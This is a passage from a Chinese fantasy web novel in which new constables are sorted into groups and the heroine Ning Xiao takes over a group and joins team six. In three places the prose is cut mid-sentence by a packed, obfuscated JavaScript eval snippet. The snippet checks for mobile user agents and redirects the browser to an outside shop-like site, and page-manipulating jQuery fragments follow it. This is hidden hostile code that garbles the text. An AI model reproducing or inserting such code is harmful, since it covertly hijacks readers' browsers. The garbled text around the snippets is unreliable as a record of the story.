“最后一件事,是新入职缉凶使的分组安排。王充,你来宣布一下。”易执将文书交给那位不苟言笑的黑脸大汉后,自己转头去跟仙人们说起了小话。 老资历们也懒得关注分组的事情,都在讨论刚才说的督查事宜。 “按照规定,表现突出的新人可以直接提拔为组 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999295|193945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长。经过商议,本次提拔八位新人为组长,新任组长可以挑选五位新人作为组员,其他旧的组别可以各自再选两人入组。各位队长自觉认领一下新组。” 新人听到消息后忍不住激动起来,左右顾盼着,已经开始物色自己的组员或者组长了,旧组的组长们虽然没那么激动,但也在默默观察着,商议自己要选择的新人。 王充说罢,将文书翻到了下一页,他清了清嗓子,念道:“在正式入职后,新人能力基本合格,其中,有八位新人表现突出,是经过各位队长、组长商议后做出的提拔决定。”王充说罢,扫了一眼新人。 只见他们都眼巴巴地看着自己,小话也顾不得讲了,这才开口郑重道:“其中,武器及内务方面选拔两位新人组长,修界治安及分署方面选拔三位新人组长,刑事与侦缉方面选拔三位新任组长。” 王充说罢,邀请了身后站着的两位同僚来宣布各自部门的新人名单,每次念到一个新人组长的名字,新人队伍里就会爆发一阵欢呼声。 等到其他部门的新组长宣布完毕后,王充才重新上前,用洪亮的声音道:“接下来宣布刑事侦缉部门的三位新人,分别是……” 罗靖也不知道是从哪儿窜出来的,抱着宁霄的胳膊一直在她耳边像念经似的说:“选我选我选我选我……” “艾轩,宁霄,马叔青。” 王充说罢,新人队伍里再次喧闹起来,被选为组长的新人被围拢簇拥着,有的当场就定好了组员,分外热闹。 然而宁霄身边只有罗靖和陈平轩在欢呼雀跃,她性子并不活泼,所以从选拔到正式入职,基本没几个熟识的同伴。 新人组长的名字一经公布,几乎没人听王充说话了,但他还是照例念着手里的文书内容,将各个新任组长的能力和表现夸赞介绍了一番。 “艾轩法力强悍,是本届新人中的头筹,入职后参与多次案件的调查和日常巡逻任务,表现出众。马叔青,入职后团结新人,德行出众,主动帮助同僚深入我司日常事务,得到了颇多赞誉……” 王充夸完本部两个新人的表现后,忽然看了一眼新人队伍,在看到宁霄后,才继续念道:“宁霄,本次丹奴交易案的第一报案人。” 内丹交易案本来就是这次集议的重要内容,如今听到这案子竟和新人有关,引得那些原本满不在乎的老资历们都纷纷侧目。 “宁霄在报案后,不仅与同僚共同解救了五位受害人,还在加入案件调查后,提供了宝贵证词。其表现符合我司提拔标准,更是新人们的榜样。” 此话一出,过分多的目光立刻朝宁霄涌去,除了好奇以外,大家也都知道,这五位被解救的受害人中,就包括高台上那位仙督之一,那么接下来的联合督查,这个新人未必不会受到照拂。 不少人甚至不知道宁霄是谁,于是一个劲儿询问指认着,甚至在这些目光中,还隐隐掺杂着不友善的目光,轻蔑也有,忌恨也有,但她都不以为意。 “在接下来的三天内,请各位组长选好自己的组员,愿意吸纳新组的队长也请尽快上报。三天后,若不能自主完成整合,将由使长商议决定。” 集议终于到了尾声,内院的喧闹怎么都止不住了,仙人们和老资历们都陆续退场,任由他们吵闹。 宁霄环顾四周,到处都是人潮与目光,拥挤非常,想走都有些困难,于是她只好眺望远处,试图为自己找到一个顺利离开的突破口。 就在这时,一道温和有力的目光吸引了她的注意,她来不及辨认就看了过去。 只见凌非远站在高台之下,并没有随其他仙人一起退场,见她也看向自己,他当即笑了起来。 即便宁霄有些抗拒,但也不得不承认,他眼中的欣喜,绝不是作假。 21. 联合督查(二) 目光相触的瞬间,凌非远的眼睛都亮了,甚至迈步想要往这边走。 宁霄见状,立刻环顾四周,找了个人流稀疏的方向,匆忙离开了。 只留下凌非远呆愣在原地,望眼欲穿。 “阿远?怎么还不过来?”一位女仙拍了拍他的肩膀,“孙前辈有事要说。” 见他失魂落魄,女仙只好拉着他穿过北侧的厅堂,进入了藏风苑。 与内院相比,藏风苑的法力保护更加强大深厚,是高层和缉凶司内部进行秘密商谈的地方,旁边的隐山居就是本次仙人落脚的客居。 等人都到齐了,孙绰才开始吩咐事情。 “刚才集议上你们也都听明白了,这次的督查还是以缉凶司的行动为主,你们注意辅助和配合缉凶使们,明白吗?” “明白!” 孙绰点点头,继续道:“还有啊,这次也多亏了阿远的争取,你们才能来此地见识和历练,内丹毕竟是修炼根基,这次联合督查一方面是为了打击罪犯,找到阿远的内丹,另一方面也是让大家开阔眼界。” 跟随孙前辈前来的仙人大都是飞升资历尚浅的仙人,往往是在修界建立前飞升成仙的,又因为要适应仙界,闭关时错过了修界最初的建立阶段,因此这次到来,大家都非常好奇和兴奋。 “好了,我提醒你们的就这些,修界毕竟和人间、仙界不同,你们先回去休息吧,适应好了,才能随时参与督查。” 仙人们向他作揖告别,各自回到了隐山居休息。 “阿远,你等等。”孙绰忽然叫住了凌非远。 “前辈,请问有何吩咐?” “你啊,真的不随我回仙界修养了吗?你如今没有内丹,在修界停留必定会对你的身体造成不良影响,你之前不是都感受过了吗?而且作为仙督去参与督查,你这样也很不方便啊。” “前辈,我之所以提议要来,就是为了在这里待一段时间,没有内丹,即便回去也很难修复,还不如留在这里亲自去找。而且,我觉得修界很有趣!我飞升时修界还不存在呢,所以我想留在此地长长见识。” 孙绰捋了捋胡子,露出了释然的微笑,“既然你心意已决,我便不多说了,咦?长恩呢?我不是叫他与你结伴,多多照顾你么?” 凌非远眼睛一眨,随口扯了个谎道:“刚才还在,可能有事去忙了吧。” “嗯,既然如此,我先回去复命了,之后再来看你们。” 孙绰说罢,一挥手,就原地消失无踪了。 - 从内院出来时,宁霄便听到周围一些新人已经商议好了自己的组别。 同部门的另两位新人组长,一个人缘好,一个能力强,还没走出院子就已经有一大批新人抢着要加入他们两人的队伍。 其他没有选好的新人也不甘落后,主动要去寻找自己比较看好的队伍和小组。 反观宁霄,一左一右只有两个哼哈大将黏在身边,罗靖一个劲儿缠着她不放,陈平轩则到处宣传拉人,只可惜屡屡受挫。 “好了好了,我肯定选你,你先松手。”宁霄拍了拍罗靖,试图解救自己的胳膊。 “我不!在名单上报之前我都不会撒手的!万一被别人抢了位子就完了!” 宁霄闻言,有些尴尬道:“你难道没有发现,你根本没有竞争对手吗?” “啊?怎么可能?!”罗靖抬起头来四处张望,在看到毫无收获的陈平轩后,这才敢松手。 “不对啊!怎么可能没人选你呢?刚才明明那么多人关注你呢!”罗靖抱臂思考片刻,忽然拔腿就要走,“我去帮你拉人!” 然而还没迈出步子,就被宁霄拽住后领拽了回来。 “顺其自然就好,”宁霄就差没有双手合十求她闭嘴了,随即指了指排了一长队的录事房,“你要不先去办事呢?你的位子我肯定给你留着。” “那不行,我连凭证都没有~” 宁霄从没想过要当什么组长,如今面对这突如其来的委任,多少有些不太习惯。 她自打通过缉凶司的考核后,和周围人的关系总是不远不近的,不抗拒,但是也对周围人没什么需求。 即便是那些自己举手之劳帮助过的人,也往往因为她的不善言辞而没有建立关系,唯有罗靖和陈平轩,是她出手相帮之后就开始缠着她不放的。 照她的想法来看,每个新任缉凶使都是通过考核进来的,最后无论进入哪个组别,也都是要一样做事的,既然如此,也没有必要为了选组员这么大费周章,谁加入又有什么分别呢? 和罗靖说话间,人们忽然朝一个方向围拢过去。 只见在前厅门口一侧,有两个人在上面张贴了大幅的纸张,凑近一看,上面分别列出了各个组别,在组别下面则画了两道横线,新组写在纸张最后,组长的名字下面挂了五道横线。 很快便有组长上前告知自己所选的组员,张贴分组情况的同僚便会分别和组长与组员确认,一旦双方达成一致,便会在纸张对应的组别下面填上组员的名字。 罗靖当即拉着陈平轩和宁霄钻到了最里圈,把他们两人的名字写在了宁霄下面的横线上,随后才高高兴兴忙自己的事情去了。 宁霄从人群中挤出去的这段时间里,横线上的空白很快就被填了大半。 然而最引人注目的还是宁霄自己的组别,名字下面的空白相比起其他组来说,简直是空得格外炫目,分外吸引人。 吴季旸在填好自己两位新组员后,一扭头就看到宁霄,主动挤出人堆来跟她打了个招呼。 “怎么样?选好了吗?” 说罢又扭头一看分组情况,顿时笑出了声,“你就拉来了两个人?没人想加入吗?还是你太挑剔?” 宁霄摇了摇头道:“顺其自然吧。” “你还挺悠闲,照这样下去,你岂不是只能选被别人挑剩下的了?” “剩下的也是考核合格的缉凶使,不会太差的。” “哈哈哈哈你是不知道,你们刚入职的时候,那些老人儿们早就盯上你们了,下手尤其快!你们前阵子被拉去到处打杂的时候,就是各组组长在给自己物色新人呢。” “所以你找我去挖灵石也是?” “聪明!你们选拔的时候我就去参观过了,你的术法不错。本来想收你来当我组员的,没想到你这么厉害,现在我们可是平级了!怎么样?要不要带着你的组员来我们六队?” “可是新组要去哪不是我说了算的,还是看队长们的安排吧。” 尽管没有直接回应,但宁霄心里还是对六队很有好感的,只要秦荣愿意选她,她肯定义不容辞。 才跟吴季旸告别,无所事事的宁霄竟忽然被人拦了下来。 “打扰了,那个……” 一个看起来有些文弱的男子站在她面前,有些犹犹豫豫地问道:“烦请问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“啊啊啊啊你也太好了吧组长~”罗靖趁着没人,终于腾出手来抱着宁霄的胳膊撒了个娇,随即才看到了她身后的余此,“咦,他是?” “我们组的第三位组员,叫余此。” “鱼刺?” “咳咳……”宁霄立刻提笔在一张废纸上写下了他的名字,随后又回头找补道:“她开玩笑的。” 好在余此非常大度,连连摆手,笑道:“没事的,我也觉得我的名字听起来像鱼刺。” “你人真好!”罗靖很快接受了这位腼腆柔和的新成员,开始拉着他问东问西,正好让宁霄可以放松一会儿。 - 虽说司里给了三天来分组,但是才过了小半天,分组大战就已经接近尾声了。 甚至连亲口宣布三日为期的王充都直接召集了还没完成分组的人,直接把人都聚在一起,准备在今天就地解决。 “咳,虽说是给了大家三天时间,但是联合督查明天就正式开始了,你们如果不尽快完成分组的话,到时候就只能在各个组间来回打转,小计分也没法给你们记。” 宁霄环顾四周,新入职的一百多人,如今还剩了二十多个没有完成分组,单看表象,这些人要么桀骜不驯,不拿正眼看人,要么是一声不吭,不善交际。 当然其中也有例外,那就是一直在观察和打量周围人的人,一看便知是来挑人的组长。 王充的话音刚落,便有组长开始主动出击挑选组员,而宁霄看了半天,自己熟悉的人几乎没有,实在是有些难以抉择。 就在此时,一阵奇怪的声响引起了她的注意,一回头,便见陈平轩躲在廊道出口的角落里,伸出手指对着某个方向指指点点。 22. 联合督查(三) 宁霄顺着他指的方向看去,只见一个看起来乖巧文静的姑娘站在新人队列的最边上,不知道在思忖些什么。 反正她谁都不认识,既然陈平轩极力推荐,那她选择相信自己的组员,于是迈开步子就要上前。 然而有人比她还要快一步,抢先上前去邀请这位姑娘加入。 却见那姑娘抬眼淡淡看了对方一眼,一句话都没说,闹得那位组长先尴尬了起来,甚至挠了挠脖子问道:“你是哑巴?” 然而“哑巴姑娘”依旧没有回应,甚至这次连眼睛都懒得抬了。 见状,那组长只能放弃,嘴里嘟嘟囔囔地走向了其他人。 宁霄也有些担心,扭头看向陈平轩,随后指了指那位姑娘,见陈平轩用力点头,她这才敢上前询问。 “打扰了,你愿意来我们组吗?” 那姑娘照旧是抬眼看了她一眼,随后又看向别处,一句话都没应。 宁霄也有些摸不着头脑,转头刚要跟陈平轩说点什么,却见他已经趁着王充不注意,直接跑了过来。 他拍拍那姑娘的胳膊,焦急道:“阿筱!咱们一组啊!” 姑娘依旧回以沉默。 然而陈平轩却并没有生气,先是冲宁霄介绍了一下,“她叫刘亦筱,我们是青梅竹马来着。”随后又站定仔细思索了一会儿后,问那姑娘道:“你是不是觉得无聊?” 这次,刘亦筱终于看了过来,点了点头。 “你难道没有感兴趣的组吗?还是想去的组被别人给选了?” “都一样。” 刘亦筱终于开口了,声音仿佛冷冽的泉水,平静而深入人心。 见状,陈平轩当即开始给她讲解加入他们有多么多么好,好几次都听得宁霄想要打断他,但都被他伸手拒绝了。 无奈之下,宁霄只好由他去了。 与此同时,在内院的角落里,涌现了好多围观的人群。 有的是来帮自己的组长抢人的,有的则是在给自己未选组的朋友出主意。 一开始还只是通过符咒和肢体语言进行交流,但随着选组过程越来越激烈,这些场外人员干脆也跟陈平轩一样跑了过来,混到了分组的人群之中。 王充逮了几次人后,实在控制不住局面,干脆放弃了。 于是内院中便泛起了越来越大声的八卦,几乎是当着当事人的面在讲,氛围一时激烈起来。 “组长,你选那个呀!那个法力很厉害的!” “哎哎,等等,别去那组!我去过,他们组特别折磨人!” …… “那个姑娘?我劝你别选,之前在我们组待过,我觉得特别难管教,让做什么也都做,但态度很一般,别选。” “可是她看起来还挺正常的啊?” 宁霄听着听着,突然觉得不对,顺着声音看去,果然发现两个人正对着刘亦筱指指点点。 她若无其事地走近了一些,站在他们身侧旁听。 “法力如何?” “可以的,怎么?我替你试试?” 宁霄顿时警觉起来,一回头就发现自己身旁这个人忽然抬手使出了一道法力,淡金色的辉光直指陈平轩和刘亦筱。 几乎是下意识,宁霄单手结印,配合着简洁的咒语,在那股法力即将触碰到刘亦筱的时候,截断了它。 被破解的法力依着残余的力气前进,却只吹动了刘亦筱鬓角的碎发。 如此小的触动,竟引起了刘亦筱的注意,她顺着那股“风”吹动的来向,看向了他们。 只见宁霄和身旁的一个人对立着,手上的动作不停,似乎是在暗暗较劲,浅金色的辉光和一股几乎无法察觉的波动正一次次地冲撞着。 凌乱的法力流动也引起了王充的注意,但他却并没有出手管教,甚至在默默围观。 和宁霄对着干的人似乎有些疲惫,忽然间,他向后撤了一步,摆出架势来,双手画圆,最后回到胸口,法力逐渐凝聚成型,金色的辉光也随之加深,最后,法力被他用力击出,猛虎般冲着宁霄面门而去。 这与刚才戳戳打打的小动作不同,简直可以说是明摆着要打一场了。 然而宁霄站定不动,仍旧是单手变换着复杂的手势,配合以简单的咒语,轻易就地挡住了对方的攻击。 原本还来势汹汹的金色辉光随着宁霄的手决被撕成了碎片,然后消失在了四周。 几个攻防下来,对面没有讨到任何好处,甚至连宁霄的一根汗毛都没剐断。 这样大的架势很快引起了内院众人的注意。 然而不等他们围拢过来,宁霄忽然扬手在自己的面前画了个奇怪的符印,左手同时配合着几个不常见的手决,主动击出。 那股力量几乎难以察觉,只能凭借视线中被微微扭曲的事物察觉其存在。 几乎是一瞬间,宁霄对面的人刚刚凝聚出来的法力就直接被击穿了。 金色的辉光被刺破,随着她的法力砸向那人,将他整个掀翻在地。 有些被这动静吸引过来的人还没弄明白发生了什么,便听得宁霄身旁的人惊呼阵阵,赞叹连连。 “都老实点儿!围起来干嘛呢?!让你们分组,不是让你们来斗殴的!”王充分明都看在了眼里,但并没有多管,只是呵斥着驱散了看热闹的人群,暂时维持住了秩序。 宁霄也不想惹麻烦,立刻退出了未散尽的人群之中。 然而才刚挤出来,迎面就碰上了刘亦筱。 和刚才的冷漠疏离不同,她睁大眼睛看着她,眼里都带着光,不等宁霄说话,她就捏着宁霄的衣袖认真问道:“你刚才使的是什么法力?” “只是一些走江湖时学到的术法,主要是手决和口诀。” “不对。” 刘亦筱当即就否定了这个说法,道:“我没见过这么短的咒语,而且你的手决也不全,我认不出是什么意思。” “这是我简化后的,只保留了最重要的部分,其他冗余累赘的部分被我简化了,感觉效果没什么影响。” 闻言,刘亦筱的眼睛直发亮,拉着她衣袖的手攥得更紧了,当即就问了一大堆问题,让宁霄都有些招架不住。 跟在旁边的陈平轩则抓紧机会怂恿道:“阿筱,怎么样?宁霄很有趣吧?要不要加入我们?” “嗯!”刘亦筱很爽快地点了头,这回倒让宁霄觉得惊奇了。 随后的时间里,宁霄一直在和刘亦筱说话,回答她的各种刁钻问题,时不时还得演示一番,连最后一个空缺的组员都顾不上选了。 这么做的结果就是,内院只剩下了最后一个未分组的新人。 “谁的组 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不等宁霄反应,外围看热闹的那些人又开始叽叽歪歪说了起来,甚至都不避着人,一些嘲笑的话直接飘进了宁霄的耳朵里。 “哈哈,要是我我肯定不要,还不如要那个憨憨傻傻的大块头呢。” “就是,我倒要看看她怎么管教这刺儿头,之后可是有热闹看了。” …… 待选的那人好似听不见似的,站在原地,一副无所谓的态度。 宁霄也觉得没所谓,答道:“没事前辈,我没有不满意,我正愁不知道选谁呢。” 王充闻言松了一口气,随即转向众人,大声宣布道:“行了,既然都选好了,那就去榜单上把分组情况填好。” 他说罢便急不可耐地离开了,似乎生怕有人反悔,路上有人叫他他都装听不见,快步直接拐出了内院。 见状,宁霄只得硬着头皮走近那个新组员,问道:“我叫宁霄,你叫什么名字?” “唐锋。” 见他没有故意为难,宁霄心里的石头也暂时落了地,“那我们以后就是同组了,一起去榜单那填一下名字吧?” 闻言,唐锋依旧抱着胳膊,上下打量了她一眼,随后才迈开步子,大步朝前,完全没有等她的意思。 在离开内院的这几步路上,不少人对唐锋和她指指点点,时不时还伴随着几声讥笑。 可宁霄全不在乎,带着陈平轩和刘亦筱一起朝回廊走去。 然而刚走进回廊没几步,就见回廊前面竟守着一群人,直接把廊道中间堵起来了。 细看之下,宁霄认出了其中的几位队长和一些碰过面的前辈。 有的组别本身就有队伍归属,于是这些组长带着人很顺利地穿过了这道人肉屏障。 而新任组长则在此处碰了壁,被不同部门的队长们拉着左看右看,商量新组的归属。 宁霄带着新人,有种不祥的预感。 当她往前走了几步后,几道视线刷地汇聚到了她的身上,细看之下,她很快认出了几个侦缉部的队长。 此时的他们如同看上同一个猎物的猛兽,已经挤挤挨挨地对抗了起来。 然而,里面并没有秦荣。 23. 联合督查(四) 几个队长同时跨出步子朝宁霄走来,各个眼睛放光,宁霄甚至下意识用手指托起了佩刀的刀柄,露出了一小截刀身。 直到看到第一个向自己走来的队长的笑脸时,才回神过来,松开了握在刀上的左手。 面前的人头发已经花白,但整个人看起来非常精神,笑眯眯的,看起来甚至可以称得上慈祥。 大约是个头不太高的缘故,他的动作很快,抢先一步来到了宁霄的面前。 “你叫宁霄是吧?我是三队的队长钱为时。之前办仙人的那桩案子时我就注意到你了,简直不像是新人,前途无量啊。” “多谢夸赞。” 宁霄拱手应了一声,随即回头看了一眼身边的陈平轩和刘亦筱。 陈平轩很是兴奋,到处看来看去,刘亦筱则兴致缺缺,低着头不知道又在想些什么,唐锋则早已不见了踪影,实在是没有人可以商量,只好沉下心来认真面对。 “仙人许久没有来修界参与过事务了,这次多亏了你,我们才能再和仙人贴近,如今你为仙人做出了这么大贡献,那位被救的仙人一定对你颇有好感。” “您谬赞了。”宁霄看着他的笑脸,也努力回以微笑,但搜肠刮肚却没找到什么多余的话来回应。 “能得仙人青眼的人必是大才,我们三队都很欢迎你的加入。” 钱为时说话的声音很是温和柔软,但面对这样的恭维,宁霄实在是不知道该如何回应。 她努力保持一个组长该有的理智和稳重,但仅凭几句对话很难看清对方的底细,面对邀请,顿时有些难以做出决断。 然而不等她给予回应,钱为时就被人挤到了旁边,一个年轻结实的身影瞬间占据了她的视线。 他抱臂而立,也不低头,只是垂眸看着宁霄,道:“八队仲廷嗣,我看你不错,不如来我们队。” “诶诶你干什么呀?我话还没说完呢。”钱为时很是不满,伸手拦在他面前,仰着头质问。 然而那仲廷嗣依旧是一副高高在上的样子,斜觑了他一眼,扯起嘴角笑道:“前辈,您办案的时候也这么讲规矩吗?何况上面只让我们商量新组的归属,可没说要看先来后到啊?” “你!”钱为时气得呼哧带喘的,但居然没有跟他硬着来,甩下一句“真是一代不如一代了!”后,便隐入了人群中。 “呵,加入那种老东西的队里只是浪费时间,只要你加入我们队,我不在乎你选了什么歪瓜裂枣进组,我们队都可以接纳。” 说着,仲廷嗣意有所指地看了一眼宁霄身后的两人,眼神轻蔑。 宁霄眼睛微眯,心有不快,道:“我的组员都是正式通过考核的缉凶使,不是什么歪瓜裂枣。” “呵,不是吗?”仲廷嗣露出嘲讽的笑意,垂眸看着她,“除了你,其他人有什么突出的表现吗?哑巴?结巴?没人要的疯狗?” 不等他说完,宁霄已经没有再继续交谈的想法了,侧过头去招呼后面的两人一起离开。 “既然如此,我们就不去打搅您的队伍了,您或许应该找更强的组别。” 说罢,宁霄刚要离开,却被仲廷嗣拦了下来。 然而在他的手臂之后,宁霄看到了一个熟悉的面孔。 “秦队……” 秦荣向点点头,脚步不停直接走了过来,隔着仲廷嗣的胳膊看着她问道:“来六队吗?” “呦,秦前辈?您也要参与选组吗?”仲廷嗣转身过去,依旧是一副高高在上的模样,脸上的笑意不知道是真心还是带着嘲讽,“五个组您忙得过来吗?还是要多注意身体啊。” 对此,秦荣只是回以淡淡的笑意,眼神中没有透露出半点不满。 “小仲,你眼光也不错,不过小组的归属问题还是得你情我愿才是,也得听听小组的意见,”秦荣说着,看向了宁霄,“不是吗?” 尽管小组选择哪个队伍需要综合考虑组长和每位组员的意见,但秦荣一到,宁霄就没必要纠结了。 比起钱为时和这位出言不善的仲队长,秦荣的性子显得过分正常了。 于是她回头和陈平轩对视一眼,当即应道:“秦队,我们组愿意加入六队。” “嗯,”秦荣眼底浮现出一抹不易察觉的笑意,“走吧。” 秦荣说罢,直接转身带着宁霄他们走向人群,连一个眼神都没给仲廷嗣留。 “我刚参加完使长和队长们的集议,又多问了些督查的细节安排,所以来得有些迟了。”秦荣脚步慢了一步,跟宁霄说了这么一句。 面对她的解释,宁霄有些受宠若惊,赶忙回应道:“怎么会,我本来就是想加入六队的。” 秦荣嘴角的弧度有了细微的变化,等到穿过选组的人群后,他们很快来到了六房门口,秦荣没有说什么客套话,只是像之前一起办案时那样,简单吩咐道:“既然选好队伍了,集议也就更方便些。宁霄,你把分组的事情办完后就来六房参加集议,一会儿有事要说。” “是,秦队。” 能顺利加入六队,这让宁霄的心情好了不少,她当即带着新组员去填写了分组的布告,然后带着自己的新组员们来到了六房。 推开六房的门,依旧是热闹友善的氛围。 前辈们都主动冲他们打着招呼,还有人特地给他们空出了位置,邀请他们坐到众人中间来。 秦荣率先开口,向大家介绍道:“宁霄,陈平轩,刘亦筱,罗靖,余此,唐锋。从今天起正式加入我们六队,作为第五组的成员,跟大家共事。” 在场的前辈们非常捧场的鼓起掌来,宁霄终于露出了真挚的笑容,加入六队让她感到无比满足,甚至都不知道该说些什么了。 好在前辈们比她的话还要多些,根本轮不到她沉默。 “宁霄,又见面了!我还担心秦队去的迟,你被别人给抢走了呢!”杨妙云兴冲冲跑来抱了抱她,随即又拉着根本不认识的新组员一起落座了。 罗靖尤其自来熟,面对如此热情的组长当即热热闹闹聊了起来。 “真好啊,又有新面孔了,我感觉我更老了……”吴季旸一边摇头一边笑着感慨道。 任彪话不多,只是投来了鼓励和赞许的笑意。 就连一向冷静寡言的苗淇,都主动招手,让宁霄到自己身边来坐。 毕竟是曾经一起共事过的关系,宁霄并不担心自己的融入,相比起来,她更担心自己的新组员们。 连自己都还没跟他们熟悉起来呢,来到一个新的环境,以他们之前的性子来看,恐怕要想和大家融洽相处,还需要不少努力。 幸好六队的人都非常友善,即便是刚才还被人挑挑拣拣的刘亦筱和唐锋,也没有表现出什么厌烦的情绪。 刘亦筱已经跟着陈平轩落座了,唐锋虽然臭着脸,但也安静地抱着佩刀站在人群外围,并没有展现出什么传闻中的破坏性。 “大家之后慢慢相处吧。”秦荣发话,结束了新旧组员的寒暄,直入正题,“今天召集大家过来,是要传达一下上面的意思,关于接下来一段时间的联合督查。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17018895|193945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “平时的案子还是照旧,联合督查期间主要是增加了每天的巡逻和督查的任务,按照新的分组,每个小组负责一个片区,基本上都分在了分署所管理区域的交界片区以及一些重点区域,以方便合作巡逻督查。” 秦荣一边说,一边指使身边的人给大家发放队伍的区域划分安排。 “这次巡查的重点是违法交易方面,包括内丹交易、人口交易等,其他相关情况也列入在内,比如交易欺诈,灵兽的非法培育和买卖等。大家都看一下,这是分给我们六队的区域,现在宁霄加入,我们就把地区分为五组。” 宁霄接过地图,只见上面原本就记录了治安和分署部门的区域划分,如今在这张修界的基础地图之上又被人用朱笔分出了十二个区域,六队被分配在了八福大路东侧和修界东北侧的位置。 老组长们非常自觉地选择了自己熟悉的片区,甚至默契地给宁霄留了一块人口较为稀疏的区域。 然而他们的分配被秦荣直接否决了。 “任彪去八福大路东北面这片,人流较大。苗淇还是去你选的北部这片,主要是治安方面镇压一下,别让那些团伙组织闹事。妙云去中间这片,西面挨着八福大路,东面人虽然不多,但是穷凶极恶之人不少,季旸你挨着妙云在她南面,那边挨着赤虓妖族,注意他们的动态,一有不对就尽快上报增派人手。” 秦荣说罢,停顿了一下后,才继续道:“宁霄这组去东面黑市附近这片区域。” 此话一出,其他组长都有些震惊。 “啊?黑市附近本身就鱼龙混杂,宁霄他们都是新人,万一出事了怎么办?”吴季旸有些担心道。 “是啊是啊,还不如我去呢,”杨妙云指了指自己刚才被指派的区域,“我和东边挨着呀,不是说穷凶极恶的人很多吗?不都是黑市这边的人吗?” 然而秦荣神色平静,连地图都没多看一眼,解释道:“黑市虽然危险,但普通人汇聚的地方更考验缉凶使的能力。毕竟在黑市,扔块石头都不一定能砸死一个好人,万一起了冲突,也不至于有太严重的后果。” 见大家纷纷点头,她才指着地图道:“我已经把最难的片区优先交给你们这些老前辈了,宁霄他们虽然是新人,但也都是通过考核的正式缉凶使,况且黑市附近的分署片区也不大,人手更集中,和这片巡逻区域有很大重合部分,相对而言是最容易的区域了。” “宁霄之前已经跟我们参与过一些任务了,我相信她的能力。”说罢,秦荣看向宁霄,嘱咐道:“如果存在任何问题,可以在复盘时提出来寻求帮助。” 宁霄点点头,对她如此细致的考量和对自己的信任感到非常温暖。 “最后一件事,是关于新的律法要求。之前的规定是内丹可以自愿赠与,可以在价格合理且双方自愿的情况下进行交易,这次改成了一切内丹交易都属于非法,这样我们判定起来就简单多了,律法过两天就会更新了。” 大家对此倒是没什么意见,纷纷点头赞许。 “好了,联合督查明天就开始了,巡逻时间选择白天还是晚上,都可以根据实际情况自行安排,只要没有案子,都需要大家每天巡逻记录,相应的,巡逻发现的问题和案子也会计入小计分数。” “好!”大家顿时来了精神,纷纷应和。 “好了,都回去准备吧。”秦荣一声令下,集议室内便热热闹闹解散了。 “五组留一下。”秦荣一边收拾东西,一边解释道:“我带你们去看看办公的地方。” 24. 联合督查(五) 在六房内,除了这间大的房间用来集议,在房间的西侧还有一道门。 穿过这扇门,便是两个前后连通的屋子,一间有五六间房的大小,最里面那间则稍小一些。 “这里就是我们队的功舍,平时办案都在这里。”秦荣带着他们一边往前走,一边介绍了每组所在的区域。 每个小组的布置各有不同,但基本都是中间摆着一个足以容纳一个小组的大木桌,四周分别围绕着五张书案,位置各不相同,其他的文书案卷等也摆放各异,宁霄几乎可以根据布置猜出每个区域分属于哪个小组。 在走到屋子尽头时,秦荣指了指面前的一片区域,道:“这边就是你们五组的位置了,怎么布置你们自己看着办。” 闻言,罗靖和陈平轩他们当即冲到自己喜欢的位置抢占,其他三人倒是无所谓,一直安安静静跟在秦荣和宁霄身边。 说罢,秦荣又指了指房间上面。 只见房梁中央吊着一个球形的透明圆球。 “这个是用来传讯的,你们外出需要联系队内的话更方便些,不用单独联系某个人,效率更高,使用时有特定的传讯咒,有需要可以问一下别的队员。” 随后她又推开身旁的门,带着大家来到了最里面的一间屋子,与刚才两间房不同,这个屋子里放着一排又一排的架子,一侧是些文书案卷之类的东西,另一侧则摆放着各式武器和瓶瓶罐罐的东西。 “这里是放日常文书案卷的地方,右边是一些常用武器和药品,你们需要可以自取。” 原本一声不吭的三位组员当即双眼放光,唐锋直奔武器而去,这个摸摸那个瞧瞧,在听到可以自取后直接揣了两把小的手刀,还拿起一个大宽刀扛在了肩上。 见状,秦荣并没有呵止,只是平静介绍道:“这些武器和药品都是从武器部门分配来的,使用和折损都需要详细记录,如有遗失自行赔偿。” 闻言,唐锋恋恋不舍地摸了摸大刀后,又默不作声地将大刀和小手刀放回了原处。 “大家先自便,我和宁霄去上报一下新组的归属情况。” 秦荣带着宁霄离开六房,在前厅外逛了一圈。 组别的归属布告已经张贴完毕,由于刚才忙着吩咐事情,宁霄是最后一个来填写队伍的新组。 在看守布告的同僚的帮助下,小组的归属终于尘埃落定。 “你才刚来就碰上了联合督查,你们小组和大家磨合也就需要多费些时间了,你对队里的人相对更熟悉,要多帮助他们。” “是,秦队。我会多注意一些的。” 秦荣拍了拍她的肩膀,眼里满是赞许,“嗯,接下来的时间里,倒是方便你和你的组员们磨合,督查期间一定要管理好组员,别犯什么太出格的错。” “我记住了。” “好,”秦荣扭头看了一眼天色,跟她道了别,“也快散值了,我就不回去了。” 送别了秦荣后,宁霄回到六房,简单安顿了一下后,便与大家一同踏着散值的钟响离开了。 面对新的工作任务,宁霄很是重视,脑子里不停地盘算起可能遇到的情况,以及需要提前预备的细节。 等她走出前厅,来到院中时,组内其他人已经跑没影儿了。 